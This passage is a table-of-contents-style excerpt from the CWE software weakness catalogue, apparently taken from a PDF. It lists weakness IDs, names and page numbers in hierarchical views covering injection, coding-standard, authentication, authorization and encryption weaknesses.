  - CWE-82: Improper Neutralization of Script in Attributes of IMG Tags in a Web Page *(p.169)*
- CWE-84: Improper Neutralization of Encoded URI Schemes in a Web Page *(p.173)*
- CWE-85: Doubled Character XSS Manipulations *(p.175)*
- CWE-86: Improper Neutralization of Invalid Characters in Identifiers in Web Pages *(p.177)*
- CWE-87: Improper Neutralization of Alternate XSS Syntax *(p.179)*

CWE-91: XML Injection (aka Blind XPath Injection) *(p.200)*
- CWE-643: Improper Neutralization of Data within XPath Expressions ('XPath Injection') *(p.1263)*
- CWE-652: Improper Neutralization of Data within XQuery Expressions ('XQuery Injection') *(p.1278)*

CWE-93: Improper Neutralization of CRLF Sequences ('CRLF Injection') *(p.202)*
- CWE-113: Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Response Splitting') *(p.251)*

CWE-94: Improper Control of Generation of Code ('Code Injection') *(p.204)*
- CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection') *(p.209)*
- CWE-96: Improper Neutralization of Directives in Statically Saved Code ('Static Code Injection') *(p.213)*
  - CWE-97: Improper Neutralization of Server-Side Includes (SSI) Within a Web Page *(p.216)*

CWE-943: Improper Neutralization of Special Elements in Data Query Logic *(p.1624)*
- CWE-643: Improper Neutralization of Data within XPath Expressions ('XPath Injection') *(p.1263)*
- CWE-652: Improper Neutralization of Data within XQuery Expressions ('XQuery Injection') *(p.1278)*
- CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') *(p.187)*
  - CWE-564: SQL Injection: Hibernate *(p.1139)*
- CWE-90: Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection') *(p.198)*

CWE-99: Improper Control of Resource Identifiers ('Resource Injection') *(p.224)*
- CWE-641: Improper Restriction of Names for Files and Other Resources *(p.1256)*
- CWE-694: Use of Multiple Resources with Duplicate Identifier *(p.1346)*
  - CWE-102: Struts: Duplicate Validation Forms *(p.227)*
  - CWE-462: Duplicate Key in Associative List (Alist) *(p.983)*
- CWE-914: Improper Control of Dynamically-Identified Variables *(p.1589)*
  - CWE-621: Variable Extraction Error *(p.1231)*
  - CWE-627: Dynamic Variable Evaluation *(p.1241)*

CWE-710: Improper Adherence to Coding Standards *(p.1365)*
- CWE-1041: Use of Redundant Code *(p.1643)*
- CWE-1044: Architecture with Number of Horizontal Layers Outside of Expected Range *(p.1646)*
- CWE-1048: Invokable Control Element with Large Number of Outward Calls *(p.1650)*
- CWE-1059: Incomplete Documentation *(p.1661)*
  - CWE-1053: Missing Documentation for Design *(p.1655)*
  - CWE-1110: Incomplete Design Documentation *(p.1707)*
  - CWE-1111: Incomplete I/O Documentation *(p.1708)*
  - CWE-1112: Incomplete Documentation of Program Execution *(p.1709)*
  - CWE-1118: Insufficient Documentation of Error Handling Techniques *(p.1713)*
- CWE-1061: Insufficient Encapsulation *(p.1663)*
  - CWE-1054: Invocation of a Control Element at an Unnecessarily Deep Horizontal Layer *(p.1656)*
  - CWE-1057: Data Access Operations Outside of Expected Data Manager Component *(p.1659)*
  - CWE-1062: Parent Class with References to Child Class *(p.1664)*
  - CWE-1083: Data Access from Outside Expected Data Manager Component *(p.1683)*
  - CWE-1090: Method Containing Access of a Member Element from Another Class *(p.1690)*
  - CWE-1100: Insufficient Isolation of System-Dependent Functions *(p.1699)*

- CWE-1105: Insufficient Encapsulation of Machine-Dependent Functionality *(p.1703)*
  - CWE-188: Reliance on Data/Memory Layout *(p.435)*
    - CWE-198: Use of Incorrect Byte Ordering *(p.465)*
  - CWE-766: Critical Data Element Declared Public *(p.1415)*
- CWE-1065: Runtime Resource Management Control Element in a Component Built to Run on Application Servers *(p.1667)*
- CWE-1066: Missing Serialization Control Element *(p.1668)*
- CWE-1068: Inconsistency Between Implementation and Documented Design *(p.1670)*
- CWE-107: Struts: Unused Validation Form *(p.239)*
- CWE-1070: Serializable Data Element Containing non-Serializable Item Elements *(p.1671)*
- CWE-1076: Insufficient Adherence to Expected Conventions *(p.1677)*
  - CWE-1045: Parent Class with a Virtual Destructor and a Child Class without a Virtual Destructor *(p.1647)*
  - CWE-1078: Inappropriate Source Code Style or Formatting *(p.1679)*
    - CWE-1085: Invokable Control Element with Excessive Volume of Commented-out Code *(p.1685)*
    - CWE-1099: Inconsistent Naming Conventions for Identifiers *(p.1699)*
    - CWE-1106: Insufficient Use of Symbolic Constants *(p.1704)*
    - CWE-1107: Insufficient Isolation of Symbolic Constant Definitions *(p.1705)*
    - CWE-1109: Use of Same Variable for Multiple Purposes *(p.1707)*
    - CWE-1113: Inappropriate Comment Style *(p.1709)*
    - CWE-1114: Inappropriate Whitespace Style *(p.1710)*
    - CWE-1115: Source Code Element without Standard Prologue *(p.1711)*
    - CWE-1116: Inaccurate Comments *(p.1712)*
    - CWE-1117: Callable with Insufficient Behavioral Summary *(p.1712)*
    - CWE-546: Suspicious Comment *(p.1118)*
    - CWE-547: Use of Hard-coded, Security-relevant Constants *(p.1120)*
  - CWE-1079: Parent Class without Virtual Destructor Method *(p.1680)*
  - CWE-1082: Class Instance Self Destruction Control Element *(p.1682)*
  - CWE-1087: Class with Virtual Method without a Virtual Destructor *(p.1687)*
  - CWE-1091: Use of Object without Invoking Destructor Method *(p.1691)*
  - CWE-1097: Persistent Storable Data Element without Associated Comparison Control Element *(p.1697)*
  - CWE-1098: Data Element containing Pointer Item without Proper Copy Control Element *(p.1698)*
  - CWE-1108: Excessive Reliance on Global Variables *(p.1706)*
  - CWE-586: Explicit Call to Finalize() *(p.1174)*
- CWE-1092: Use of Same Invokable Control Element in Multiple Architectural Layers *(p.1692)*
- CWE-1093: Excessively Complex Data Representation *(p.1693)*
  - CWE-1043: Data Element Aggregating an Excessively Large Number of Non-Primitive Elements *(p.1645)*
  - CWE-1055: Multiple Inheritance from Concrete Classes *(p.1657)*
  - CWE-1074: Class with Excessively Deep Inheritance *(p.1675)*
  - CWE-1086: Class with Excessive Number of Child Classes *(p.1686)*
- CWE-110: Struts: Validator Without Form Field *(p.245)*
- CWE-1101: Reliance on Runtime Component in Generated Code *(p.1700)*
- CWE-1104: Use of Unmaintained Third Party Components *(p.1703)*
- CWE-1120: Excessive Code Complexity *(p.1715)*
  - CWE-1047: Modules with Circular Dependencies *(p.1649)*
  - CWE-1056: Invokable Control Element with Variadic Parameters *(p.1658)*
  - CWE-1060: Excessive Number of Inefficient Server-Side Data Accesses *(p.1662)*
  - CWE-1064: Invokable Control Element with Signature Containing an Excessive Number of Parameters *(p.1666)*
  - CWE-1075: Unconditional Control Flow Transfer outside of Switch Block *(p.1676)*
  - CWE-1080: Source Code File with Excessive Number of Lines of Code *(p.1681)*
  - CWE-1095: Loop Condition Value Update within the Loop *(p.1695)*
  - CWE-1119: Excessive Use of Unconditional Branching *(p.1714)*

- CWE-1121: Excessive McCabe Cyclomatic Complexity *(p.1716)*
- CWE-1122: Excessive Halstead Complexity *(p.1717)*
- CWE-1123: Excessive Use of Self-Modifying Code *(p.1717)*
- CWE-1124: Excessively Deep Nesting *(p.1718)*
- CWE-1125: Excessive Attack Surface *(p.1719)*

- CWE-1126: Declaration of Variable with Unnecessarily Wide Scope *(p.1720)*
- CWE-1127: Compilation with Insufficient Warnings or Errors *(p.1720)*
- CWE-1164: Irrelevant Code *(p.1721)*
  - CWE-1071: Empty Code Block *(p.1672)*
    - CWE-1069: Empty Exception Block *(p.1670)*
    - CWE-585: Empty Synchronized Block *(p.1172)*
  - CWE-561: Dead Code *(p.1133)*
  - CWE-563: Assignment to Variable without Use *(p.1137)*
- CWE-1177: Use of Prohibited Code *(p.1725)*
  - CWE-242: Use of Inherently Dangerous Function *(p.536)*
  - CWE-676: Use of Potentially Dangerous Function *(p.1317)*
    - CWE-785: Use of Path Manipulation Function without Maximum-sized Buffer *(p.1459)*
- CWE-1209: Failure to Disable Reserved Bits *(p.1733)*
- CWE-476: NULL Pointer Dereference *(p.1009)*
  - CWE-690: Unchecked Return Value to NULL Pointer Dereference *(p.1339)*
- CWE-477: Use of Obsolete Function *(p.1015)*
- CWE-484: Omitted Break Statement in Switch *(p.1034)*
- CWE-489: Active Debug Code *(p.1042)*
  - CWE-11: ASP.NET Misconfiguration: Creating Debug Binary *(p.9)*
- CWE-506: Embedded Malicious Code *(p.1077)*
  - CWE-507: Trojan Horse *(p.1079)*
    - CWE-508: Non-Replicating Malicious Code *(p.1080)*
    - CWE-509: Replicating Malicious Code (Virus or Worm) *(p.1081)*
  - CWE-510: Trapdoor *(p.1082)*
  - CWE-511: Logic/Time Bomb *(p.1084)*
  - CWE-512: Spyware *(p.1085)*
- CWE-570: Expression is Always False *(p.1147)*
- CWE-571: Expression is Always True *(p.1150)*
- CWE-573: Improper Following of Specification by Caller *(p.1153)*
  - CWE-103: Struts: Incomplete validate() Method Definition *(p.229)*
  - CWE-104: Struts: Form Bean Does Not Extend Validation Class *(p.231)*
  - CWE-243: Creation of chroot Jail Without Changing Working Directory *(p.538)*
  - CWE-253: Incorrect Check of Function Return Value *(p.560)*
  - CWE-296: Improper Following of a Certificate's Chain of Trust *(p.653)*
  - CWE-304: Missing Critical Step in Authentication *(p.671)*
  - CWE-325: Missing Required Cryptographic Step *(p.717)*
  - CWE-329: Not Using a Random IV with CBC Mode *(p.729)*
  - CWE-358: Improperly Implemented Security Check for Standard *(p.786)*
  - CWE-475: Undefined Behavior for Input to API *(p.1008)*
  - CWE-568: finalize() Method Without super.finalize() *(p.1146)*
  - CWE-577: EJB Bad Practices: Use of Sockets *(p.1161)*
  - CWE-578: EJB Bad Practices: Use of Class Loader *(p.1162)*
  - CWE-579: J2EE Bad Practices: Non-serializable Object Stored in Session *(p.1164)*
  - CWE-580: clone() Method Without super.clone() *(p.1166)*
  - CWE-581: Object Model Violation: Just One of Equals and Hashcode Defined *(p.1167)*
  - CWE-628: Function Call with Incorrectly Specified Arguments *(p.1243)*
    - CWE-683: Function Call With Incorrect Order of Arguments *(p.1330)*
    - CWE-685: Function Call With Incorrect Number of Arguments *(p.1333)*
    - CWE-686: Function Call With Incorrect Argument Type *(p.1334)*
    - CWE-687: Function Call With Incorrectly Specified Argument Value *(p.1335)*

- CWE-560: Use of umask() with chmod-style Argument *(p.1132)*
- CWE-688: Function Call With Incorrect Variable or Reference as Argument *(p.1337)*

- CWE-675: Duplicate Operations on Resource *(p.1316)*
  - CWE-174: Double Decoding of the Same Data *(p.403)*
  - CWE-415: Double Free *(p.901)*
  - CWE-605: Multiple Binds to the Same Port *(p.1205)*
  - CWE-764: Multiple Locks of a Critical Resource *(p.1413)*
  - CWE-765: Multiple Unlocks of a Critical Resource *(p.1414)*
- CWE-694: Use of Multiple Resources with Duplicate Identifier *(p.1346)*
  - CWE-102: Struts: Duplicate Validation Forms *(p.227)*
  - CWE-462: Duplicate Key in Associative List (Alist) *(p.983)*
- CWE-695: Use of Low-Level Functionality *(p.1347)*
  - CWE-111: Direct Use of Unsafe JNI *(p.247)*
  - CWE-245: J2EE Bad Practices: Direct Management of Connections *(p.541)*
  - CWE-246: J2EE Bad Practices: Direct Use of Sockets *(p.543)*
  - CWE-383: J2EE Bad Practices: Direct Use of Threads *(p.837)*
  - CWE-574: EJB Bad Practices: Use of Synchronization Primitives *(p.1155)*
  - CWE-575: EJB Bad Practices: Use of AWT Swing *(p.1156)*
  - CWE-576: EJB Bad Practices: Use of Java I/O *(p.1159)*

- CWE-594: J2EE Framework: Saving Unserializable Objects to Disk *(p.1185)*

- CWE-657: Violation of Secure Design Principles *(p.1287)*
  - CWE-1192: System-on-Chip (SoC) Using Components without Unique, Immutable Identifiers *(p.1731)*
  - CWE-250: Execution with Unnecessary Privileges *(p.547)*
  - CWE-636: Not Failing Securely ('Failing Open') *(p.1245)*
    - CWE-455: Non-exit on Failed Initialization *(p.969)*
  - CWE-637: Unnecessary Complexity in Protection Mechanism (Not Using 'Economy of Mechanism') *(p.1247)*
  - CWE-638: Not Using Complete Mediation *(p.1249)*
    - CWE-424: Improper Protection of Alternate Path *(p.914)*
      - CWE-425: Direct Request ('Forced Browsing') *(p.915)*
  - CWE-653: Insufficient Compartmentalization *(p.1279)*
  - CWE-654: Reliance on a Single Factor in a Security Decision *(p.1281)*
    - CWE-308: Use of Single-factor Authentication *(p.682)*
    - CWE-309: Use of Password System for Primary Authentication *(p.684)*
  - CWE-655: Insufficient Psychological Acceptability *(p.1283)*
  - CWE-656: Reliance on Security Through Obscurity *(p.1285)*
  - CWE-671: Lack of Administrator Control over Security *(p.1309)*
    - CWE-447: Unimplemented or Unsupported Feature in UI *(p.957)*
    - CWE-798: Use of Hard-coded Credentials *(p.1486)*
      - CWE-259: Use of Hard-coded Password *(p.569)*
      - CWE-321: Use of Hard-coded Cryptographic Key *(p.709)*

- CWE-684: Incorrect Provision of Specified Functionality *(p.1332)*
  - CWE-1245: Improper Finite State Machines (FSMs) in Hardware Logic *(p.1767)*
  - CWE-392: Missing Report of Error Condition *(p.853)*
  - CWE-393: Return of Wrong Status Code *(p.854)*
  - CWE-440: Expected Behavior Violation *(p.949)*
  - CWE-446: UI Discrepancy for Security Feature *(p.956)*
    - CWE-447: Unimplemented or Unsupported Feature in UI *(p.957)*
    - CWE-448: Obsolete Feature in UI *(p.959)*
    - CWE-449: The UI Performs the Wrong Action *(p.960)*
  - CWE-451: User Interface (UI) Misrepresentation of Critical Information *(p.962)*
    - CWE-1007: Insufficient Visual Distinction of Homoglyphs Presented to User *(p.1628)*
    - CWE-1021: Improper Restriction of Rendered UI Layers or Frames *(p.1631)*

- CWE-758: Reliance on Undefined, Unspecified, or Implementation-Defined Behavior *(p.1393)*
  - CWE-1038: Insecure Automated Optimizations *(p.1641)*

- CWE-1037: Processor Optimization Removal or Modification of Security-critical Code *(p.1639)*
- CWE-733: Compiler Optimization Removal or Modification of Security-critical Code *(p.1375)*
  - CWE-14: Compiler Removal of Code to Clear Buffers *(p.14)*
- CWE-1102: Reliance on Machine-Dependent Data Representation *(p.1701)*
- CWE-1103: Use of Platform-Dependent Third Party Components *(p.1702)*
- CWE-1105: Insufficient Encapsulation of Machine-Dependent Functionality *(p.1703)*
- CWE-188: Reliance on Data/Memory Layout *(p.435)*
  - CWE-198: Use of Incorrect Byte Ordering *(p.465)*
- CWE-474: Use of Function with Inconsistent Implementations *(p.1006)*
  - CWE-589: Call to Non-ubiquitous API *(p.1178)*
- CWE-562: Return of Stack Variable Address *(p.1136)*
- CWE-587: Assignment of a Fixed Address to a Pointer *(p.1175)*
- CWE-588: Attempt to Access Child of a Non-structure Pointer *(p.1177)*

CWE-912: Hidden Functionality *(p.1587)*

Graph View: CWE-1003: Weaknesses for Simplified Mapping of Published Vulnerabilities

- CWE-20: Improper Input Validation *(p.19)*
  - CWE-129: Improper Validation of Array Index *(p.312)*
- CWE-74: Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection') *(p.130)*
  - CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') *(p.141)*
  - CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') *(p.152)*
  - CWE-88: Improper Neutralization of Argument Delimiters in a Command ('Argument Injection') *(p.181)*
  - CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') *(p.187)*
  - CWE-91: XML Injection (aka Blind XPath Injection) *(p.200)*
  - CWE-94: Improper Control of Generation of Code ('Code Injection') *(p.204)*
- CWE-116: Improper Encoding or Escaping of Output *(p.260)*
  - CWE-838: Inappropriate Encoding for Output Context *(p.1551)*
- CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer *(p.271)*
  - CWE-120: Buffer Copy without Checking Size of Input ('Classic Buffer Overflow') *(p.280)*
  - CWE-125: Out-of-bounds Read *(p.302)*
  - CWE-787: Out-of-bounds Write *(p.1463)*
  - CWE-824: Access of Uninitialized Pointer *(p.1520)*
- CWE-200: Exposure of Sensitive Information to an Unauthorized Actor *(p.466)*
  - CWE-203: Observable Discrepancy *(p.478)*
  - CWE-209: Generation of Error Message Containing Sensitive Information *(p.490)*
  - CWE-532: Insertion of Sensitive Information into Log File *(p.1104)*
- CWE-269: Improper Privilege Management *(p.589)*
- CWE-287: Improper Authentication *(p.630)*
  - CWE-290: Authentication Bypass by Spoofing *(p.640)*
  - CWE-294: Authentication Bypass by Capture-replay *(p.647)*
  - CWE-295: Improper Certificate Validation *(p.648)*
  - CWE-306: Missing Authentication for Critical Function *(p.674)*
  - CWE-307: Improper Restriction of Excessive Authentication Attempts *(p.678)*
  - CWE-521: Weak Password Requirements *(p.1089)*
  - CWE-522: Insufficiently Protected Credentials *(p.1091)*
  - CWE-640: Weak Password Recovery Mechanism for Forgotten Password *(p.1253)*
  - CWE-798: Use of Hard-coded Credentials *(p.1486)*
- CWE-311: Missing Encryption of Sensitive Data *(p.686)*
  - CWE-312: Cleartext Storage of Sensitive Information *(p.693)*
  - CWE-319: Cleartext Transmission of Sensitive Information *(p.705)*
- CWE-326: Inadequate Encryption Strength *(p.718)*
- CWE-327: Use of a Broken or Risky Cryptographic Algorithm *(p.720)*
  - CWE-916: Use of Password Hash With Insufficient Computational Effort *(p.1594)*
- CWE-330: Use of Insufficiently Random Values *(p.730)*
  - CWE-331: Insufficient Entropy *(p.736)*
  - CWE-335: Incorrect Usage of Seeds in Pseudo-Random Number Generator (PRNG) *(p.744)*
  - CWE-338: Use of Cryptographically Weak Pseudo-Random Number Generator (PRNG) *(p.748)*
- CWE-345: Insufficient Verification of Data Authenticity *(p.758)*
  - CWE-346: Origin Validation Error *(p.760)*
  - CWE-347: Improper Verification of Cryptographic Signature *(p.764)*
  - CWE-352: Cross-Site Request Forgery (CSRF) *(p.773)*
  - CWE-354: Improper Validation of Integrity Check Value *(p.782)*
  - CWE-924: Improper Enforcement of Message Integrity During Transmission in a Communication Channel *(p.1606)*
- CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition') *(p.793)*

- CWE-367: Time-of-check Time-of-use (TOCTOU) Race Condition *(p.812)*
- CWE-400: Uncontrolled Resource Consumption *(p.864)*
  - CWE-770: Allocation of Resources Without Limits or Throttling *(p.1422)*
  - CWE-920: Improper Restriction of Power Consumption *(p.1601)*
- CWE-404: Improper Resource Shutdown or Release *(p.877)*
  - CWE-401: Missing Release of Memory after Effective Lifetime *(p.872)*
  - CWE-459: Incomplete Cleanup *(p.978)*
  - CWE-763: Release of Invalid Pointer or Reference *(p.1408)*
  - CWE-772: Missing Release of Resource after Effective Lifetime *(p.1432)*
- CWE-436: Interpretation Conflict *(p.944)*
  - CWE-444: Inconsistent Interpretation of HTTP Requests ('HTTP Request Smuggling') *(p.952)*
- CWE-610: Externally Controlled Reference to a Resource in Another Sphere *(p.1213)*
  - CWE-1021: Improper Restriction of Rendered UI Layers or Frames *(p.1631)*
  - CWE-384: Session Fixation *(p.839)*
  - CWE-601: URL Redirection to Untrusted Site ('Open Redirect') *(p.1195)*
  - CWE-611: Improper Restriction of XML External Entity Reference *(p.1215)*
  - CWE-918: Server-Side Request Forgery (SSRF) *(p.1599)*
- CWE-662: Improper Synchronization *(p.1288)*
  - CWE-667: Improper Locking *(p.1299)*
- CWE-665: Improper Initialization *(p.1293)*
  - CWE-1188: Insecure Default Initialization of Resource *(p.1725)*
  - CWE-908: Use of Uninitialized Resource *(p.1578)*
  - CWE-909: Missing Initialization of Resource *(p.1581)*
- CWE-668: Exposure of Resource to Wrong Sphere *(p.1305)*
  - CWE-134: Use of Externally-Controlled Format String *(p.334)*
  - CWE-426: Untrusted Search Path *(p.917)*
  - CWE-427: Uncontrolled Search Path Element *(p.922)*
  - CWE-428: Unquoted Search Path or Element *(p.927)*
  - CWE-552: Files or Directories Accessible to External Parties *(p.1125)*
- CWE-669: Incorrect Resource Transfer Between Spheres *(p.1307)*
  - CWE-212: Improper Removal of Sensitive Information Before Storage or Transfer *(p.500)*
  - CWE-434: Unrestricted Upload of File with Dangerous Type *(p.935)*
  - CWE-494: Download of Code Without Integrity Check *(p.1055)*
  - CWE-565: Reliance on Cookies without Validation and Integrity Checking *(p.1140)*
  - CWE-829: Inclusion of Functionality from Untrusted Control Sphere *(p.1532)*
- CWE-670: Always-Incorrect Control Flow Implementation *(p.1308)*
  - CWE-617: Reachable Assertion *(p.1224)*
- CWE-672: Operation on a Resource after Expiration or Release *(p.1310)*
  - CWE-415: Double Free *(p.901)*
  - CWE-416: Use After Free *(p.904)*
  - CWE-613: Insufficient Session Expiration *(p.1219)*
- CWE-674: Uncontrolled Recursion *(p.1314)*
  - CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion') *(p.1440)*
- CWE-682: Incorrect Calculation *(p.1326)*
  - CWE-131: Incorrect Calculation of Buffer Size *(p.325)*
  - CWE-190: Integer Overflow or Wraparound *(p.437)*
  - CWE-191: Integer Underflow (Wrap or Wraparound) *(p.444)*
  - CWE-193: Off-by-one Error *(p.449)*
  - CWE-369: Divide By Zero *(p.818)*
- CWE-697: Incorrect Comparison *(p.1350)*
- CWE-704: Incorrect Type Conversion or Cast *(p.1357)*
  - CWE-681: Incorrect Conversion between Numeric Types *(p.1322)*
  - CWE-843: Access of Resource Using Incompatible Type ('Type Confusion') *(p.1563)*
- CWE-706: Use of Incorrectly-Resolved Name or Reference *(p.1360)*
  - CWE-178: Improper Handling of Case Sensitivity *(p.411)*

- CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') *(p.31)*
- CWE-59: Improper Link Resolution Before File Access ('Link Following') *(p.106)*

CWE-732: Incorrect Permission Assignment for Critical Resource *(p.1367)*
- CWE-276: Incorrect Default Permissions *(p.606)*
- CWE-281: Improper Preservation of Permissions *(p.615)*

CWE-754: Improper Check for Unusual or Exceptional Conditions *(p.1381)*
- CWE-252: Unchecked Return Value *(p.553)*
- CWE-273: Improper Check for Dropped Privileges *(p.601)*
- CWE-476: NULL Pointer Dereference *(p.1009)*

CWE-755: Improper Handling of Exceptional Conditions *(p.1389)*

CWE-834: Excessive Iteration *(p.1544)*
- CWE-835: Loop with Unreachable Exit Condition ('Infinite Loop') *(p.1546)*

CWE-862: Missing Authorization *(p.1567)*
- CWE-425: Direct Request ('Forced Browsing') *(p.915)*

CWE-863: Incorrect Authorization *(p.1573)*
- CWE-639: Authorization Bypass Through User-Controlled Key *(p.1251)*

CWE-913: Improper Control of Dynamically-Managed Code Resources *(p.1588)*
- CWE-470: Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection') *(p.996)*
- CWE-502: Deserialization of Untrusted Data *(p.1072)*
- CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes *(p.1591)*

CWE-922: Insecure Storage of Sensitive Information *(p.1603)*

Graph View: CWE-1008: Architectural Concepts

- CWE-1009: Audit *(p.1963)*
  - CWE-117: Improper Output Neutralization for Logs *(p.266)*
  - CWE-223: Omission of Security-relevant Information *(p.513)*
  - CWE-224: Obscured Security-relevant Information by Alternate Name *(p.515)*
  - CWE-532: Insertion of Sensitive Information into Log File *(p.1104)*
  - CWE-778: Insufficient Logging *(p.1444)*
  - CWE-779: Logging of Excessive Data *(p.1446)*
- CWE-1010: Authenticate Actors *(p.1964)*
  - CWE-258: Empty Password in Configuration File *(p.567)*
  - CWE-259: Use of Hard-coded Password *(p.569)*
  - CWE-262: Not Using Password Aging *(p.577)*
  - CWE-263: Password Aging with Long Expiration *(p.579)*
  - CWE-287: Improper Authentication *(p.630)*
  - CWE-288: Authentication Bypass Using an Alternate Path or Channel *(p.636)*
  - CWE-289: Authentication Bypass by Alternate Name *(p.638)*
  - CWE-290: Authentication Bypass by Spoofing *(p.640)*
  - CWE-291: Reliance on IP Address for Authentication *(p.643)*
  - CWE-293: Using Referer Field for Authentication *(p.645)*
  - CWE-294: Authentication Bypass by Capture-replay *(p.647)*
  - CWE-301: Reflection Attack in an Authentication Protocol *(p.666)*
  - CWE-302: Authentication Bypass by Assumed-Immutable Data *(p.668)*
  - CWE-303: Incorrect Implementation of Authentication Algorithm *(p.670)*
  - CWE-304: Missing Critical Step in Authentication *(p.671)*
  - CWE-305: Authentication Bypass by Primary Weakness *(p.673)*
  - CWE-306: Missing Authentication for Critical Function *(p.674)*
  - CWE-307: Improper Restriction of Excessive Authentication Attempts *(p.678)*
  - CWE-308: Use of Single-factor Authentication *(p.682)*
  - CWE-322: Key Exchange without Entity Authentication *(p.711)*
  - CWE-521: Weak Password Requirements *(p.1089)*
  - CWE-593: Authentication Bypass: OpenSSL CTX Object Modified after SSL Objects are Created *(p.1183)*
  - CWE-603: Use of Client-Side Authentication *(p.1204)*
  - CWE-620: Unverified Password Change *(p.1229)*
  - CWE-640: Weak Password Recovery Mechanism for Forgotten Password *(p.1253)*
  - CWE-798: Use of Hard-coded Credentials *(p.1486)*
  - CWE-836: Use of Password Hash Instead of Password for Authentication *(p.1549)*
  - CWE-916: Use of Password Hash With Insufficient Computational Effort *(p.1594)*
- CWE-1011: Authorize Actors *(p.1965)*
  - CWE-114: Process Control *(p.256)*
  - CWE-15: External Control of System or Configuration Setting *(p.17)*
  - CWE-219: Storage of File with Sensitive Data Under Web Root *(p.509)*
  - CWE-220: Storage of File With Sensitive Data Under FTP Root *(p.510)*
  - CWE-266: Incorrect Privilege Assignment *(p.580)*
  - CWE-267: Privilege Defined With Unsafe Actions *(p.583)*
  - CWE-268: Privilege Chaining *(p.586)*
  - CWE-269: Improper Privilege Management *(p.589)*
  - CWE-270: Privilege Context Switching Error *(p.593)*
  - CWE-271: Privilege Dropping / Lowering Errors *(p.595)*
  - CWE-272: Least Privilege Violation *(p.598)*
  - CWE-273: Improper Check for Dropped Privileges *(p.601)*
  - CWE-274: Improper Handling of Insufficient Privileges *(p.604)*
  - CWE-276: Incorrect Default Permissions *(p.606)*
  - CWE-277: Insecure Inherited Permissions *(p.609)*

- CWE-279: Incorrect Execution-Assigned Permissions *(p.611)*
- CWE-280: Improper Handling of Insufficient Permissions or Privileges *(p.613)*
- CWE-281: Improper Preservation of Permissions *(p.615)*
- CWE-282: Improper Ownership Management *(p.616)*
- CWE-283: Unverified Ownership *(p.618)*
- CWE-284: Improper Access Control *(p.619)*
- CWE-285: Improper Authorization *(p.623)*
- CWE-286: Incorrect User Management *(p.629)*
- CWE-300: Channel Accessible by Non-Endpoint *(p.663)*
- CWE-341: Predictable from Observable State *(p.753)*
- CWE-359: Exposure of Private Personal Information to an Unauthorized Actor *(p.788)*
- CWE-403: Exposure of File Descriptor to Unintended Control Sphere ('File Descriptor Leak') *(p.876)*
- CWE-419: Unprotected Primary Channel *(p.908)*
- CWE-420: Unprotected Alternate Channel *(p.909)*
- CWE-425: Direct Request ('Forced Browsing') *(p.915)*
- CWE-426: Untrusted Search Path *(p.917)*
- CWE-434: Unrestricted Upload of File with Dangerous Type *(p.935)*
- CWE-527: Exposure of Version-Control Repository to an Unauthorized Control Sphere *(p.1099)*
- CWE-528: Exposure of Core Dump File to an Unauthorized Control Sphere *(p.1100)*
- CWE-529: Exposure of Access Control List Files to an Unauthorized Control Sphere *(p.1101)*
- CWE-530: Exposure of Backup File to an Unauthorized Control Sphere *(p.1102)*
- CWE-538: Insertion of Sensitive Information into Externally-Accessible File or Directory *(p.1111)*
- CWE-551: Incorrect Behavior Order: Authorization Before Parsing and Canonicalization *(p.1124)*
- CWE-552: Files or Directories Accessible to External Parties *(p.1125)*
- CWE-566: Authorization Bypass Through User-Controlled SQL Primary Key *(p.1142)*
- CWE-639: Authorization Bypass Through User-Controlled Key *(p.1251)*
- CWE-642: External Control of Critical State Data *(p.1257)*
- CWE-647: Use of Non-Canonical URL Paths for Authorization Decisions *(p.1269)*
- CWE-653: Insufficient Compartmentalization *(p.1279)*
- CWE-656: Reliance on Security Through Obscurity *(p.1285)*
- CWE-668: Exposure of Resource to Wrong Sphere *(p.1305)*
- CWE-669: Incorrect Resource Transfer Between Spheres *(p.1307)*
- CWE-671: Lack of Administrator Control over Security *(p.1309)*
- CWE-673: External Influence of Sphere Definition *(p.1313)*
- CWE-708: Incorrect Ownership Assignment *(p.1363)*
- CWE-732: Incorrect Permission Assignment for Critical Resource *(p.1367)*
- CWE-770: Allocation of Resources Without Limits or Throttling *(p.1422)*
- CWE-782: Exposed IOCTL with Insufficient Access Control *(p.1451)*
- CWE-827: Improper Control of Document Type Definition *(p.1527)*
- CWE-862: Missing Authorization *(p.1567)*
- CWE-863: Incorrect Authorization *(p.1573)*
- CWE-921: Storage of Sensitive Data in a Mechanism without Access Control *(p.1602)*
- CWE-923: Improper Restriction of Communication Channel to Intended Endpoints *(p.1604)*
- CWE-939: Improper Authorization in Handler for Custom URL Scheme *(p.1614)*
- CWE-942: Permissive Cross-domain Policy with Untrusted Domains *(p.1621)*

CWE-1012: Cross Cutting *(p.1967)*

- CWE-208: Observable Timing Discrepancy *(p.488)*
- CWE-392: Missing Report of Error Condition *(p.853)*
- CWE-460: Improper Cleanup on Thrown Exception *(p.981)*
- CWE-544: Missing Standardized Error Handling Mechanism *(p.1117)*
- CWE-602: Client-Side Enforcement of Server-Side Security *(p.1200)*
- CWE-703: Improper Check or Handling of Exceptional Conditions *(p.1355)*
- CWE-754: Improper Check for Unusual or Exceptional Conditions *(p.1381)*

- CWE-784: Reliance on Cookies without Validation and Integrity Checking in a Security Decision *(p.1456)*
- CWE-807: Reliance on Untrusted Inputs in a Security Decision *(p.1507)*

CWE-1013: Encrypt Data *(p.1968)*

- CWE-256: Unprotected Storage of Credentials *(p.562)*
- CWE-257: Storing Passwords in a Recoverable Format *(p.564)*
- CWE-260: Password in Configuration File *(p.573)*
- CWE-261: Weak Encoding for Password *(p.575)*
- CWE-311: Missing Encryption of Sensitive Data *(p.686)*
- CWE-312: Cleartext Storage of Sensitive Information *(p.693)*
- CWE-313: Cleartext Storage in a File or on Disk *(p.697)*
